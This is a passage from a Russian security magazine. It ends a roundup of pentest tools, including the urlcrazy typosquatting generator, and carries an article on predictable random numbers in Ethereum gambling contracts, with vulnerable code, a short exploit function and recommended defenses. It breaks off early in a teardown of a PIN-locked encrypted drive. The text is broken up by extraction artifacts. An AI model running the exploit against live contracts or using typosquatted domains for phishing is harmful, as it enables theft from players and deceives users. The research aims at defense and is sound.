не  одно,  а  нес коль ко  домен ных  имен.  Имен но  нес коль ко,  а  не  все  под‐ 
домены, как это про исхо дит в слу чае с дорогу щими wildcard‐сер тифика тами.
Разуме ется, при пен тесте при ложе ний быва ет полез но пос мотреть не толь ко
основной  хост,  но и Subject Alternative Name  (SAN) — али асы,  которые раз‐ 
решены в SSL‐сер тифика те. Узнать их мож но и вруч ную, но зачем, ког да у нас
есть тул за GetAltName?

GetAltName прос канит для тебя пред став ленный URL и покажет добытые SAN
в  удоб ном  фор мате.  Из  удач ных  фич  есть  воз можность  не  толь ко  ска нить
по инпу ту, но и пре дос тавить скрип ту XML‐ный файл от Nmap’а. Ну и задать
фор мат вывода.

В моем слу чае работа ет на Python 3.6, зависи мос ти через pip, ничего осо‐ 
бого не тре бует ся.

ЭКСПЛУАТИРУЕМ ТАЙПСКВОТТИНГ ДЛЯ СОЦИОТЕХНИЧЕСКОГО
ПЕНТЕСТА

Раз работ чик: • Andrew Horton
Стра ница: • MorningStar Security

Тай псквот тинг  —  это  очень  кру тая  шту ка!  Это  ког да  вмес то    ты
написал    или  .  Дру гими  сло вами,  тай псквот тинг  экс плу‐ 
ати рует  опе чат ки  в  написа нии  домен ных  имен.  Ошиб ки  могут  быть
как  механи чес кие  (нап ример,  рядом  сто ящие  кла виши  на  кла виату ре),  так
и  орфогра фичес кие  ( ,  ).  Думаю,  ты  и  без  меня
можешь при думать мно жес тво забав ных трю ков с тай пскво чен ными домена‐ 
ми, где фишинг фор мы логина — самое безобид ное.

xakep.ru
cakep.ru xakkep.ru

cisko.com mikrosoft.com

Urlcrazy —  ужжжас но  полез ная  тул за  для  соци отех ничес кого  пен теста! С  ее
помощью  ты  не  толь ко  сге нери руешь  мно жес тво  фей ковых  домен ных  имен
по  пре дос тавлен ному  ори гиналь ному  домену,  но  и  про веришь  часть  из  них
на  занятость.  Бит флип,  тай псквот тинг,  ошиб ки  про изно шения,  записи
по телефо ну, опе чат ки — все это генера тор urlcrazy учи тыва ет и выда ет тебе
целый спи сок доменов, которые мож но исполь зовать в тес тирова нии на про‐ 
ник новение.  Каж дая  мутация  снаб жена  отдель ным  пояс нени ем,  а  так же
инфой о занятос ти домен ного име ни.

Для  работы  пот ребу ется  Ruby,  в  моем  слу чае  работа ет  без  оши бок
на  .ruby 2.5.0p0

А  на  сегод ня  все.  Ресер чи,  про буй  и  отпи сывай ся  в  ком ментах  о  новых
и удоб ных хак тулзах!

https://stats.hackmag.com/pdf/rusanen@glc.ru
http://github.com/danilovazb
https://github.com/UnkL4b/GitMiner
https://github.com/Viralmaniar
https://github.com/Viralmaniar/Passhunt
https://github.com/scipag
https://github.com/scipag/vulscan
https://xakep.ru/2017/03/31/nmap-for-hackers/
https://xakep.ru/2016/02/25/pimp-my-nmap/
https://xakep.ru/2017/11/13/x-tools-vulners-edition/
https://github.com/jcesarstef
https://github.com/jcesarstef/dotdotslash
https://www.owasp.org/index.php/Path_Traversal
https://www.owasp.org/index.php/Top_10-2017_Top_10
https://github.com/abaykan
https://github.com/abaykan/crawlbox
https://github.com/abaykan/CrawlBox/blob/master/list.txt
https://github.com/Bo0oM/fuzz.txt
https://twitter.com/i_bo0om?lang=ru
https://github.com/franccesco
https://github.com/franccesco/getaltname
https://www.morningstarsecurity.com/about
https://www.morningstarsecurity.com/research/urlcrazy


КАК ОБМАНУТЬ
КРИПТОКАЗИНО

ПРЕДСКАЗЫВАЕМ СЛУЧАЙНЫЕ ЧИСЛА
В УМНЫХ КОНТРАКТАХ ETHEREUM

Арсений Реутов

ВЗЛОМ

Ethereum  заво евал  огромную  популяр ность  как  плат форма
для ICO. Но она при мени ма не толь ко для соз дания токенов
стан дарта ERC‐20. Блок чейн Ethereum мож но исполь зовать
в  онлайн‐рулет ке,  лотере ях  и  кар точных  играх.  Под‐ 
твержден ные  тран закции  блок чей на  нель зя  под делать  —
тех нология децен тра лизо вана и проз рачна, — но код умных
кон трак тов  может  быть  уяз вим.  Одна  из  проб лем  —  уяз‐ 
вимые  генера торы  псев дослу чай ных  чисел,  ГПСЧ.  Давай
раз берем  типовые  ошиб ки  реали зации  ГПСЧ  в  азар тных
играх на базе Ethereum.

Ethereum поз воля ет исполнять тьюринг‐пол ные прог раммы, обыч но написан‐ 
ные на язы ке Solidity, поэто му осно вате ли плат формы называ ют ее «мировым
супер компь юте ром».  Бла года ря  проз рачнос ти  Ethereum  весь ма  удоб но
исполь зовать в сфе ре азар тных онлайн‐игр, где очень важ но доверие поль‐ 
зовате ля.

Од нако  про цес сы  блок чей на  Ethereum  пред ска зуемы,  что  соз дает  слож‐ 
ности для тех, кто решил написать собс твен ный генера тор псев дослу чай ных
чисел — неотъ емле мую часть любой азар тной игры. Мы решили иссле довать
умные кон трак ты, что бы оце нить надеж ность ГПСЧ на Solidity и выявить рас‐ 
простра нен ные  ошиб ки  про екти рова ния,  которые  при водят  к  уяз вимос тям
и дают тем самым воз можность пред ска зать слу чай ные чис ла.

INFO
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и  защите  от  кибер прес тупни ков  как  про цеду ры
ICO,  так  и  внед рения  блок чейн‐тех нологий.
Резуль таты  иссле дова ния  ока зались  без радос‐ 
тны ми:  уяз вимос ти  в  смарт‐кон трак тах  были
выяв лены в 71% про ектов, в 23% про ектов были
выяв лены  недос татки,  поз воля ющие  ата ковать
инвесто ров.  В  каж дом  про екте  ICO  в  сред нем
содер жалось  пять  уяз вимос тей.  Одна ко  зло‐ 
умыш ленни кам  дос таточ но  все го  одной,  что бы
прис воить день ги инвесто ров.

ре али зова ли  про екты  по  ана лизу  безопас ности

На ше иссле дова ние вклю чает сле дующие ста дии:
1. Соб рали 3649 умных кон трак тов с etherscan.io и GitHub.
2. Им порти рова ли кон трак ты в Elasticsearch, поис ковик с откры тым кодом.
3. С помощью веб‐интерфей са Kibana с богаты ми воз можнос тями по поис ку
и филь тра ции дан ных обна ружи ли 72 уни каль ные реали зации ГПСЧ.

4. Про ана лизи ровав  вруч ную  каж дый  кон тракт,  мы  обна ружи ли,  что  43  кон‐ 
трак та были уяз вимы.

УЯЗВИМЫЕ ГЕНЕРАТОРЫ
Ана лиз выявил четыре катего рии уяз вимых ГПСЧ:

ге нера торы, исполь зующие перемен ные бло ка как источник энтро пии;•
ге нера торы, исполь зующие хеш пре дыду щего бло ка;•
ге нера торы, исполь зующие хеш пре дыду щего бло ка в сочета нии с яко бы
сек ретным началь ным зна чени ем;

•

ге нера торы, под вержен ные уяз вимос ти с опе реже нием тран закции (front‐
running).

•

Рас смот рим каж дую катего рию с при мера ми уяз вимого кода.

Ге нера тор, исполь зующий перемен ные бло ка
Су щес тву ет  ряд  перемен ных  бло ка,  которые могут  быть  по  ошиб ке  исполь‐ 
зованы как источни ки энтро пии:

  пред став ляет  собой  адрес  май нера,  который  май нит
дан ный блок;

• block.coinbase

 — отно ситель ный показа тель того, нас коль ко слож но
соз дать блок;

• block.difficulty

  —  мак сималь ный  рас ход  «газа»  на  все  тран закции
в бло ке;

• block.gaslimit

 — высота дан ного бло ка;• block.number

 — дата май нин га бло ка.• Block.timestamp

Все ми  перечис ленны ми  перемен ными  могут  манипу лиро вать  май неры,
поэто му их нель зя исполь зовать как источник энтро пии. Более того, оче вид‐ 
но, что эти перемен ные оди нако вы в пре делах одно го бло ка. И если кон тракт
зло умыш ленни ка  вызыва ет  кон тракт  жер твы  внут ренним  сооб щени ем,  один
и тот же генера тор в обо их кон трак тах выдаст оди нако вое зна чение.

При мер 1 ( ):0x80ddae5251047d6ceb29765f38fed1c0013004b7
// Won if block number is even
// (note: this is a terrible source of randomness, please don’t use 
this with real money)
bool won = (block.number % 2) == 0;

При мер 2 ( ):0xa11e4ed59dc94e69612f3111942626ed513cb172
// Compute some *almost random* value for selecting winner from 
current transaction. 
var random = uint(sha3(block.timestamp)) % 2;

При мер 3 ( ):0xcC88937F325d1C6B97da0AFDbb4cA542EFA70870
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr
;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;

Ге нера тор, исполь зующий хеш бло ка
У каж дого бло ка в блок чей не Ethereum есть хеш для верифи кации тран закций.
Так называ емая вир туаль ная машина Ethereum (EVM) поз воля ет получить хеш
бло ка  с  помощью фун кции  . Фун кция  ожи дает  чис ловой
аргу мент,  который  обоз нача ет  номер  бло ка.  Во  вре мя  иссле дова ния  мы
обна ружи ли,  что  резуль тат  фун кции    час то  некор рек тно
исполь зует ся при генера ции слу чай ных зна чений.

block.blockhash()

block.blockhash()

Су щес тву ют  три  основные  уяз вимые  вари ации  генера торов,  исполь‐ 
зующих хеш бло ка:

 — хеш текуще го бло ка;• block.blockhash(block.number)

 — хеш пос ледне го бло ка;• block.blockhash(block.number1)

 — хеш бло ка, который как минимум на 256 бло ков
стар ше.

• block.blockhash()

Рас смот рим каж дую из перечис ленных вари аций.

block.blockhash(block.number)
Пе ремен ная сос тояния   поз воля ет узнать высоту дан ного бло‐ 
ка. Ког да май нер добав ляет в блок тран закцию, которая выпол няет код кон‐ 
трак та, известен   будуще го бло ка этой тран закции и кон трак ту
дос тупно его зна чение. Одна ко в момент выпол нения тран закции в EVM хеш
соз дава емо го бло ка еще неиз вестен по оче вид ным при чинам, и EVM всег да
выда ет ноль.

block.number

block.number

Не кото рые  кон трак ты  оши боч но  интер пре тиру ют  зна чение  выраже ния
.  В  таких  кон трак тах  хеш  бло ка  счи тает ся

извес тным  во  вре мя  выпол нения  тран закции  и  исполь зует ся  как  источник
энтро пии.

block.blockhash(block.number)

При мер 1 ( ):0xa65d59708838581520511d98fb8b5d1f76a96cad
function deal(address player, uint8 cardNumber) internal returns (
uint8) {
  uint b = block.number;
  uint timestamp = block.timestamp;
  return uint8(uint256(keccak256(block.blockhash(b), player, cardNu
mber, timestamp)) % 52);
}

При мер 2 ( ):https://github.com/axiomzen/eth-random/issues/3
function random(uint64 upper) public returns (uint64 randomNumber) {
  _seed = uint64(sha3(sha3(block.blockhash(block.number), _seed), 
now));
  return _seed % upper;
}

block.blockhash(block.number-1)
Не кото рые  кон трак ты  исполь зуют  генера торы,  осно ван ные  на  хеше  пос‐ 
ледне го  бло ка.  Понят но,  что  такой  под ход  тоже  уяз вим:  зло умыш ленник
может  соз дать  кон тракт‐экс пло ит  с  таким  же  зна чени ем  генера тора,  что бы
выз вать ата куемый кон тракт через внут реннее сооб щение. «Слу чай ные» чис‐ 
ла обо их кон трак тов сов падут.

При мер 1 ( ):0xF767fCA8e65d03fE16D4e38810f5E5376c3372A8
//Generate random number between 0 & max
uint256 constant private FACTOR =  115792089237316195423570985008687
9078532699846656405640394575840079131296399;
function rand(uint max) constant private returns (uint256 result){
  uint256 factor = FACTOR * 100 / max;
  uint256 lastBlockNumber = block.number ‐ 1;
  uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
  return uint256((uint256(hashVal) / factor)) % max;
}

block.blockhash() — хеш будуще го бло ка
Бо лее надеж ный спо соб — исполь зовать хеш будуще го бло ка, нап ример сле‐ 
дующим обра зом.
1. Иг рок дела ет став ку, казино запоми нает block.number тран закции.
2. При  вто ром  вызове  кон трак та  игрок  зап рашива ет  у  казино  выиг рышный
номер.

3. Ка зино  извле кает  сох ранен ный  block.number,  получа ет  хеш  бло ка  по  его
номеру и затем исполь зует хеш при генера ции псев дослу чай ного чис ла.

Та кой  под ход  работа ет,  толь ко  если  выпол няет ся  одно  важ ное  тре бова ние.
В докумен тации Solidity есть пре дуп режде ние об огра ничен ном чис ле хешей
бло ков, которые может хра нить EVM.

По сооб ражени ям мас шта биру емос ти хеши дос тупны не для всех бло- 
ков.  Мож но  получить  дос туп  к  хешам  толь ко  пос ледних  256  бло ков,
а все осталь ные зна чения будут рав ны нулю.

По это му, если вто рой вызов не был сде лан в пре делах 256 бло ков и не было
про вер ки номера бло ка, псев дослу чай ное чис ло будет извес тно заранее —
это 0.

Са мый  нашумев ший  слу чай  экс плу ата ции  этой  уяз вимос ти  — 
. Кон тракт невер но про верял воз раст block.number, и это

при вело  к  тому,  что  игрок  выиг рал  400 ETH:  пос ле  соз дания  256 бло ков  он
зап росил  пред ска зуемый  выиг рышный  номер,  который  отпра вил  в  пер вой
тран закции.

взлом
лотереи SmartBillions

Ге нера торы, исполь зующие хеш пре дыду щего бло ка с зак рытым
началь ным зна чени ем
Что бы уве личить энтро пию, часть из иссле дован ных кон трак тов исполь зовали
началь ное зна чение, которое счи тает ся сек ретным. Так было в лотерее Slot‐
thereum. При мер кода:

bytes32 _a = block.blockhash(block.number ‐ pointer)
for (uint i = 31; i >= 1; i‐‐) {
  if ((uint8(_a[i]) >= 48) && (uint8(_a[i]) <= 57)) {
      return uint8(_a[i]) ‐ 48;
  }
}

Пе ремен ная pointer объ явле на зак рытой, то есть у дру гих кон трак тов нет дос‐ 
тупа к ее зна чению. Пос ле каж дой игры выиг рышный номер от 1 до 9 прис‐ 
ваивал ся этой перемен ной и затем исполь зовал ся как слу чай ное сме щение

 при получе нии хеша бло ка по номеру.block.number
Од но  из  свой ств  тех нологии  блок чейн — ее  проз рачность,  поэто му  сек‐ 

ретные дан ные не дол жны хра нить ся в ней в откры том виде. Нес мотря на то
что зак рытые перемен ные недос тупны дру гим кон трак там, есть воз можность
извлечь  из  блок чей на  содер жимое  хра нили ща  кон трак та.  К  при меру,
в  популяр ном  в  Ethereum  кли енте web3  есть  API‐метод 

, с помощью которо го мож но извлечь содер жимое пос тоян ного хра‐ 
нили ща кон трак та по индексам записей в нем.

web3.eth.getStor‐
ageAt()

В  таком слу чае  не  сос тавит  тру да  получить  зна чение  зак рытой перемен‐ 
ной pointer из кон трак та и исполь зовать ее в качес тве аргу мен та в экс пло ите:

function attack(address a, uint8 n) payable {
  Slotthereum target = Slotthereum(a);
  pointer = n;
  uint8 win = getNumber(getBlockHash(pointer));
  target.placeBet.value(msg.value)(win, win);
}

Ге нера торы, под вержен ные уяз вимос ти с опе реже нием 
 (front-running)транзакции

Что бы  отхва тить  наиболь шую  наг раду,  май неры  исполь зуют  тран закции
для соз дания нового бло ка на осно ве совокуп ного газа, получен ного с каж‐ 
дой  тран закции.  Порядок  выпол нения  тран закции  в  бло ке  опре деля ется
ценой газа. Тран закция с самой высокой ценой газа будет выпол нена пер вой.
Таким обра зом, манипу лируя ценой, мож но добить ся  того, что нуж ная тран‐ 
закция выпол нится рань ше осталь ных в бло ке. Это может пред став лять собой
уяз вимость  в  слу чае,  ког да  выпол нение  кон трак та  зависит  от  его  позиции
в бло ке.

Рас смот рим такой при мер. У лотереи есть внеш ний «ора кул» для получе‐ 
ния  псев дослу чай ных  чисел,  который  исполь зует ся,  что бы  опре делить
победи теля сре ди игро ков, дела ющих став ки в каж дом раун де. Чис ла переда‐ 
ются  в  незашиф рован ном  виде.  Зло умыш ленник  может  пос мотреть  пул
непод твержден ных  тран закций  и  дож дать ся  чис ла  от  ора кула.  Как  толь ко
тран закция  пред ска зате ля  появ ляет ся  в  пуле,  зло умыш ленник  отправ ляет
став ку с боль шей ценой газа. Эта тран закция отправ лена пос ледней в раун‐ 
де,  но  она  выпол няет ся  перед  тран закци ей  ора кула  бла года ря  наивыс шей
цене  газа,  и  таким обра зом ата кующий ста новит ся  победи телем. Подоб ная
тех ника была про демонс три рова на 

.
на кон курсе ZeroNights  ICO Hacking Con‐

test
Есть еще один при мер кон трак та, под вержен ного уяз вимос ти с опе реже‐ 

нием  тран закции,  —  игра    Игрок  покупа ет  билет,  занима ет  пос‐ 
леднее мес то, и начина ется обратный отчет тай мера. Если ник то не покупа ет
билет  пос ле  соз дания  опре делен ного  количес тва  бло ков,  кон тракт  отда ет
выиг рышное мес то тому, кто купил билет пос ледним. Ког да раунд закан чива‐ 
ется, зло умыш ленник сле дит за пулом непод твержден ных тран закций дру гих
учас тни ков и выиг рыва ет, отправ ляя тран закцию с боль шей ценой газа.

Last  is  me!

КАК СОЗДАТЬ БОЛЕЕ БЕЗОПАСНЫЙ ГПСЧ
Су щес тву ет нес коль ко под ходов к соз данию более безопас ных ГПСЧ в блок‐ 
чей не Ethereum:

внеш ний ора кул;•
ал горитм Signidice;•
под ход Commit — Reveal.•

Внеш ние ора кулы
Oraclize

 — сер вис для децен тра лизо ван ных при ложе ний, который слу жит свя‐ 
зующим  зве ном  меж ду  блок чей ном  и  внеш ней  сре дой  (интерне том).
При помощи Oraclize умные кон трак ты могут зап рашивать дан ные из веб‐API
(нап ример, курс валюты, прог ноз погоды, сто имость акций). Кро ме того, Ora‐
clize может исполь зовать ся как ГПСЧ. Некото рые из иссле дован ных кон трак‐ 
тов исполь зовали Oraclize, что бы получить слу чай ные чис ла от random.org.

Oraclize

Oraclize в дей ствии

Глав ный  недос таток  это го  под хода  в  том,  что  сер вис  цен тра лизо ван ный.
Можем ли мы быть уве рены, что демон Oraclize не изме нит резуль тат? Мож но
ли доверять random.org и всей его инфраструк туре? Нес мотря на то что Ora‐
clize исполь зует сер вис TLSNotary, верифи кация про изво дит ся вне блок чей на
(в  слу чае  с  лотерей — пос ле  того,  как объ явят  победи теля). Луч ше исполь‐ 
зовать Oraclize как источник «слу чай ных» дан ных с при мене нием доказа тель‐ 
ств  , которые могут быть под твержде ны внут ри блок чей на.Ledger proofs

BTC Relay
 — мост меж ду блок чей нами Ethereum и Bitcoin. С помощью BTC Re‐

lay  умные  кон трак ты  блок чей на  Ethereum  могут  зап рашивать  хеш  будуще го
бло ка  Bitcoin  и  исполь зовать  его  как  источник  энтро пии.  При мер  про екта,
который исполь зует BTC Relay как ГПСЧ, —  .

BTC Relay

The Ethereum Lottery
BTC Relay не под ходит для решения проб лемы мотива ции май нера. Здесь

барь ер  выше,  чем  при  исполь зовании  будущих  бло ков  Ethereum,  но  толь ко
из‐за  более  высокой  цены  бит кой на.  Так  что  этот  под ход  сни жает,  но  не
устра няет веро ятность мошен ничес тва со сто роны май неров.

Ал горитм Signidice
  —  алго ритм,  осно ван ный  на  крип тогра фичес ких  под писях.  Может

быть исполь зован как ГПСЧ в умных кон трак тах — с дву мя сто рона ми (игрок
и казино). Алго ритм работа ет сле дующим обра зом.

Signidice

1. Иг рок дела ет став ку, вызывая метод кон трак та.
2. Ка зино видит став ку, под писыва ет ее зак рытым клю чом и отправ ляет под‐ 
пись кон трак ту.

3. Кон тракт верифи циру ет под пись с помощью откры того клю ча.
4. Пос ле это го под пись исполь зует ся для генера ции слу чай ного чис ла.

В  Ethereum  есть  встро енная  фун кция    для  про вер ки  под писей
ECDSA  в  блок чей не.  Одна ко  алго ритм  ECDSA  не  может  быть  исполь зован
в Signidice, так как казино может изме нять вход ные парамет ры (в час тнос ти,
параметр k) и таким обра зом вли ять на зна чение конеч ной под писи. 

 была про демонс три рова на Алек сеем Пер‐ 
цевым.

ecrecover()

Ре али‐ 
зация этой мошен ничес кой схе мы

К счастью, с выходом хар дфор ка Metropolis появил ся 
, что поз волило исполь зовать про вер ку под писи

RSA, который, в отли чие от ECDSA, не поз воля ет манипу лиро вать вход ными
дан ными, что бы подоб рать под пись.

но вый опе ратор воз‐ 
ведения в сте пень по модулю

Под ход Commit — Reveal
Как вид но из наз вания, дан ный под ход сос тоит из двух эта пов.

 сто роны переда ют свои дан ные в умный кон тракт в зашиф рован‐ 
ном виде;

• Commit:

 сто роны переда ют началь ные зна чения в откры том виде, кон тракт
под твержда ет,  что  дан ные  вер ны,  началь ные  зна чения  исполь зуют ся
для генера ции слу чай ного чис ла.

• Reveal:

Для гра мот ного при мене ния дан ного под хода нель зя полагать ся ни на одну
из сто рон. Нес мотря на то что игро ки не зна ют началь ных зна чений вла дель‐ 
ца, вла делец может быть одновре мен но и игро ком, поэто му игро ки не могут
ему доверять.

 — более гра мот ное при мене ние под хода Commit — Reveal. Этот
генера тор  псев дослу чай ных  чисел  собира ет  хеширо ван ные  началь ные  зна‐ 
чения  нес коль ких  сто рон,  и  каж дая  сто рона  получа ет  воз награж дение
за  учас тие.  Сто роны  не  зна ют  началь ного  зна чения  друг  дру га,  поэто му
генери рует ся  дей стви тель но  слу чай ный  резуль тат.  Одна ко  отказ  одной
из сто рон рас крыть началь ное зна чение при ведет к DoS.

Randao

Commit  —  Reveal    с  исполь зовани ем  хеша  будуще го
бло ка. В таком слу чае име ется три источни ка энтро пии:

мож но  сов местить

sha3(seed1) вла дель ца;•
sha3(seed2) игро ка;•
хеш будуще го бло ка.•

Слу чай ное чис ло генери рует ся таким обра зом: 
. Под ход Commit — Reveal реша ет проб лему мотива ции май нера: май‐ 

нер  опре деля ет,  пуб ликовать  ли  най ден ный  хеш  в  блок чей не,  но  не  зна ет
началь ные  зна чения  вла дель ца  и  игро ка.  Под ход  реша ет  так же  и  проб лему
мотива ции вла дель ца: вла делец зна ет толь ко началь ное зна чение вла дель ца,
началь ное  зна чение  игро ка  и  хеш  будуще го  бло ка  ему  неиз вес тны.  Кро ме
того, под ход отлично работа ет в том слу чае, если вла делец и май нер — одно
лицо: он выбира ет  хеш бло ка и  зна ет началь ное зна чение вла дель ца, но не
игро ка.

sha3(seed1, seed2, block‐
hash)

ЗАКЛЮЧЕНИЕ
Соз дание  безопас ных  генера торов  псев дослу чай ных  чисел  в  блок чей не
Ethereum по‐преж нему неп ростая задача. Как показа ло иссле дова ние, из‐за
недос татка  готовых  решений  раз работ чики  чаще  исполь зуют  свои  инс тру‐ 
мен ты  реали зации.  Одна ко  лег ко  допус тить  ошиб ку  при  раз работ ке,  так
как  источни ки  энтро пии  в  блок чей не  огра ниче ны.  При  соз дании  ГПСЧ  раз‐ 
работ чику  сле дует  убе дить ся,  что  он  понима ет  мотива цию  каж дой  сто роны,
и тог да прис тупить к выбору под хода.

https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/ICO-Threats-rus.pdf
https://etherscan.io/address/0x80ddae5251047d6ceb29765f38fed1c0013004b7
https://etherscan.io/address/0xa11e4ed59dc94e69612f3111942626ed513cb172
https://etherscan.io/address/0xcC88937F325d1C6B97da0AFDbb4cA542EFA70870
https://etherscan.io/address/0xa65d59708838581520511d98fb8b5d1f76a96cad
https://github.com/axiomzen/eth-random/issues/3
https://etherscan.io/address/0xF767fCA8e65d03fE16D4e38810f5E5376c3372A8
https://www.reddit.com/r/ethereum/comments/74d3dc/smartbillions_lottery_contract_just_got_hacked/
https://blog.positive.com/zeronights-ico-hacking-contest-writeup-63afb996f1e3
https://etherscan.io/address/0x5d9b8fa00c16bcafae47deed872e919c8f6535bf
http://www.oraclize.it/
https://blog.oraclize.it/welcoming-our-brand-new-ledger-proof-649b9f098ccc
http://btcrelay.org/
https://etherscan.io/address/0x302fE87B56330BE266599FAB2A54747299B5aC5B
https://github.com/gluk256/misc/blob/master/rng4ethereum/signidice.md
https://github.com/pertsev/web3_utilz/tree/master/ECDSA%20signature%20generating%20(cheating)
https://github.com/ethereum/EIPs/pull/198
https://github.com/randao/randao
https://blog.winsome.io/random-number-generation-on-winsome-io-future-blockhashes-fe44b1c61d35
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ВЗЛОМ

Ре вер синг  и  взлом  внеш них  самошиф рующих ся  накопи‐ 
телей  —  мое  дав нее  хоб би.  В  прош лом  мне  доводи лось
упражнять ся с такими моделя ми, как Zalman VE‐400, Zalman
ZM‐SHE500,  Zalman  ZM‐VE500.  Сов сем  недав но  кол лега
занес мне еще один экспо нат: Patriot (Aigo) SK8671, который
пос тро ен по типич ному дизай ну — ЖК‐инди катор и кла виату‐ 
ра для вво да ПИН‐кода.
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Пе ревод чик —  .• Ан тон Карев
Ма тери ал пуб лику ется с сог ласия авто ра.•

Кор пус

Упа ков ка

Дос туп к сох ранен ным на дис ке дан ным, которые яко бы зашиф рованы, дает‐ 
ся пос ле вво да ПИН‐кода. Нес коль ко ввод ных замеча ний по это му девай су:

для изме нения ПИН‐кода необ ходимо нажать F1 перед раз бло киров кой;•
в ПИН‐коде дол жно быть от шес ти до девяти цифр;•
пос ле пят надца ти невер ных попыток диск очи щает ся.•

АППАРАТНАЯ АРХИТЕКТУРА
Сна чала пре пари руем девайс на час ти,  что бы понять, из  каких  ком понен тов
он  сос тоит.  Самое  нуд ное  занятие  —  вскры вать  кор пус:  мно го  мик роско‐ 
пичес ких вин тиков и плас тика. Вскрыв кор пус, видим сле дующее (обра ти вни‐ 
мание на при паян ный мной пятикон так тный разъ ем):

Ос новная пла та
Ос новная пла та доволь но прос та.

На ибо лее при меча тель ные ее час ти (свер ху вниз):
разъ ем для ЖК‐инди като ра (CN1);•
пи щал ка (SP1);•
Pm25LD010 ( ) SPI‐флеш ка (U2);• спе цифи кация
кон трол лер Jmicron JMS539 ( ) для USB‐SATA (U1);• спе цифи кация
разъ ем USB 3 (J1).•

SPI‐флеш ка хра нит про шив ку для JMS539 и некото рые нас трой ки.

Пла та ЖК‑инди като ра
На пла те ЖК нет ничего при меча тель ного.

Здесь мы видим:
ЖК‐инди катор  неиз вес тно го  про исхожде ния  (веро ятно,  с  китай ским
набором шриф тов); с пос ледова тель ным управле нием;

•

лен точный соеди нитель для кла виатур ной пла ты.•

Кла виатур ная пла та
А вот это уже инте рес нее!

Вот здесь, на зад ней сто роне, мы видим лен точный соеди нитель, а так же Cy‐
press CY8C21434 — мик рокон трол лер PSoC 1  (далее  по  тек сту  будем  звать
его прос то PSoC).

CY8C21434 исполь зует набор инс трук ций M8C (см.  ). На 
 ука зано, что он под держи вает тех нологию   (решение

от Cypress для емкос тных кла виатур). Здесь виден при паян ный мной пятикон‐ 
так тный разъ ем — это стан дар тный под ход для под клю чения внеш него прог‐ 
рамма тора через ISSP‐интерфейс.

до кумен тацию стра‐ 
нице про дук та CapSense

Смот рим на про вода
Раз берем ся, что с чем здесь свя зано. Для это го дос таточ но проз вонить про‐ 
вода муль тимет ром.

По ясне ния к этой на колен ке нарисо ван ной схе ме:
PSoC опи сан в тех ничес кой спе цифи кации;•
сле дующий  разъ ем,  тот,  что  пра вее, —  ISSP‐интерфейс,  который  волею
судеб соот ветс тву ет тому, что о нем написа но в интерне те;

•

са мый пра вый разъ ем — это  клем ма для  лен точно го  соеди ните ля  с  кла‐ 
виатур ной пла той;

•

чер ный  пря моуголь ник  —  чер теж  разъ ема  CN1,  пред назна чен ного
для соеди нения основной пла ты с ЖК‐пла той. P11, P13 и P4 при соеди нены
к нож кам PSoC 11, 13 и 4, на ЖК‐пла те.

•

ПОСЛЕДОВАТЕЛЬНОСТЬ ШАГОВ АТАКИ
Те перь ког да мы зна ем, из каких ком понен тов сос тоит этот накопи тель, нам
необ ходимо:
1. Убе дить ся,  что  базовая  фун кци ональ ность  шиф рования  дей стви тель но
при сутс тву ет.

2. Уз нать, как генери руют ся/сох раня ются клю чи шиф рования.
3. Най ти, где имен но про веря ется ПИН‐код.

Для это го я про делал сле дующие шаги:
снял дамп дан ных SPI‐флеш ки;•
по пытал ся снять дамп дан ных PSoC‐флеш ки;•
удос товерил ся,  что  обмен  дан ными меж ду Cypress  PSoC и  JMS539 фак‐ 
тичес ки содер жит нажатые кла виши;

•

убе дил ся, что при изме нении пароля в SPI‐флеш ке ничего не перепи сыва‐ 
ется;

•

по ленил ся ревер сить 8051‐про шив ку от JMS539.•

Сни маем дамп дан ных SPI-флеш ки
Эта про цеду ра очень прос та:

под клю чить  зон ды  к  нож кам  флеш ки:  CLK,  MOSI,  MISO  и  (опци ональ но)
EN;

•

«обню хать» ком муника ции сниф фером, исполь зуя логичес кий ана лиза тор
(я взял  );

•
Saleae Logic Pro 16

де коди ровать SPI‐про токол и экспор тировать резуль таты в CSV;•
вос поль зовать ся  ,  что бы  рас парсить  резуль таты  и  получить
дамп.

• decode_spi.rb

Об рати  вни мание,  что  такой  под ход  в  слу чае  с  JMS539‐кон трол лером
работа ет  в  осо бен ности  хорошо,  пос коль ку  этот  кон трол лер  на  эта пе  ини‐ 
циали зации заг ружа ет с флеш ки всю про шив ку.

$ decode_spi.rb boot_spi1.csv dump
0.039776 : WRITE DISABLE
0.039777 : JEDEC READ ID
0.039784 : ID 0x7f 0x9d 0x21
0.039788 : READ @ 0x0
0x12,0x42,0x00,0xd3,0x22,0x00,
[...]
$ ls ‐‐size ‐‐block‐size=1 dump
49152 dump
$ sha1sum dump
3d9db0dde7b4aadd2b7705a46b5d04e1a1f3b125 dump

Сняв дамп с SPI‐флеш ки, я при шел к выводу, что ее единс твен ная задача —
хра нить про шив ку для устрой ства управле ния JMicron, которая встра ивает ся
в 8051‐мик рокон трол лер. К сожале нию, сня тие дам па SPI‐флеш ки ока залось
бес полез ным:

при изме нении ПИН‐кода дамп флеш ки оста ется тем же самым;•
пос ле эта па ини циали зации девайс к SPI‐флеш ке не обра щает ся.•

Об нюхива ем ком муника ции
Поп робу ем  най ти,  какой  чип  отве чает  за  про вер ку  ком муника ций  для  инте‐ 
ресу ющих  нас  вре мени/кон тента.  Как  мы  уже  зна ем,  кон трол лер  USB‐SATA
под клю чен к ЖК Cypress PSoC, через разъ ем CN1 и две лен ты. Поэто му под‐ 
клю чаем зон ды к трем соот ветс тву ющим нож кам:

P4, общий ввод/вывод;•
P11, I2C SCL;•
P13, I2C SDA.•

За тем  запус каем  логичес кий  ана лиза тор  Saleae  и  вво дим  на  кла виату ре
. В резуль тате видим сле дующую диаг рамму.123456✓

На ней можем заметить три канала обме на дан ными:
на канале P4 нес коль ко корот ких всплес ков;•
на P11 и P13 — поч ти неп рерыв ный обмен дан ными.•

Уве личи вая пер вый всплеск на канале P4 (синий пря моуголь ник пре дыду щего
рисун ка), получа ем сле дующее:

Здесь вид но, что на P4 поч ти 70 мс одно образно го сиг нала, который, как мне
сна чала показа лось, игра ет роль син хро сиг нала. Одна ко, пот ратив некото рое
